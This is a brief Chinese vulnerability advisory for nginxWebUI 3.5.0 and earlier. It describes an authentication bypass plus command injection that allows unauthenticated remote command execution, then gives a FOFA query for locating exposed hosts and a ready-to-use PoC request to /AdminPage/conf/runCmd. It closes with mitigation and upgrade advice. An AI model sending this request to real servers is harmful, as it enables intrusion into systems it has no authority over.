0x01 产品简介
nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。
0x02 漏洞概述
nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。
0x03 影响范围
nginxWebUI <= 3.5.0
0x04 复现环境
FOFA:app="nginxWebUI"
0x05 漏洞复现
PoC
GET /AdminPage/conf/runCmd?cmd=执行的命令%26%26echo%20nginx HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
PS:特殊字符需URL编码
0x06 修复建议
临时缓解方案
该漏洞属于命令拼接漏洞,所以可使用WAF进行防护。但是低版本同时存在权限绕过问题,该问题使用防护设备无法缓解。建议如非必要,不要将该系统暴露在互联网上。
升级修复方案
官方已发布了新版本修复了权限绕过漏洞,并且在一定程度上缓解了远程命令执行的风险。建议用户前往官网更新至最新版本。
nginxWebUI - 首页
另外由于官方过滤用户输入的方式并不严格,导致后台可能依旧存在命令执行的风险,可通过使用强口令降低风险。